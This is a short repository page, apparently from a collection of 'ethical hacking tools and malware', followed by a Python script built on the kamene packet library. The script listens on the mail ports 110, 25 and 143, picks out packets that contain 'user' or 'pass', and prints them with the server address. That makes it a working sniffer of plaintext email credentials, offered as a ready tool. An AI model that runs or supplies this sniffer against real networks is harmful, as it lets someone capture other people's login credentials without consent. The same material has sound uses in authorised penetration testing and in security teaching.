This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
from kamene.all import *
# our packet callback
def packet_callback(packet):
if packet[TCP].payload:
mail_packet = bytes(packet[TCP].payload)
if b'user' in mail_packet.lower() or b'pass' in mail_packet.lower():
print("[*] Server: %s" % packet[IP].dst)
print("[*] %s" % packet[TCP].payload)
# fire up our sniffer
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",
prn=packet_callback,
store=0)